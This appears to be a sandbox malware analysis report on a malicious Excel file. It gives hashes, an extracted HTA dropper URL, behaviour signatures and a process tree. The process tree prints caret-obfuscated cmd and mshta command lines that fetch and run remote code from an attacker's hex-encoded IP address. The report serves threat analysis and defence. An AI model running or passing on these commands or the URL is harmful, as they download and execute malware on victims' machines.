Analysis

  • max time kernel
    105s
  • max time network
    72s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    22-04-2022 00:04

General

  • Target

    ?i=1hgpzybky.xls

  • Size

    71KB

  • MD5

    21fc12ef8a4a4ba5b38a303fa7e70c08

  • SHA1

    5700a2231371b289eae19ce62e1a73457ee582c4

  • SHA256

    6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5

  • SHA512

    8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\_i=1hgpzybky.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1204
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1732

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1204-59-0x0000000000000000-mapping.dmp

  • memory/1692-54-0x000000002FD21000-0x000000002FD24000-memory.dmp

    Filesize

    12KB

  • memory/1692-55-0x0000000071921000-0x0000000071923000-memory.dmp

    Filesize

    8KB

  • memory/1692-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1692-57-0x000000007290D000-0x0000000072918000-memory.dmp

    Filesize

    44KB

  • memory/1692-58-0x0000000075951000-0x0000000075953000-memory.dmp

    Filesize

    8KB

  • memory/1692-61-0x000000006BD21000-0x000000006BD23000-memory.dmp

    Filesize

    8KB

  • memory/1692-62-0x000000006BCC1000-0x000000006BCC3000-memory.dmp

    Filesize

    8KB

  • memory/1692-63-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1732-60-0x0000000000000000-mapping.dmp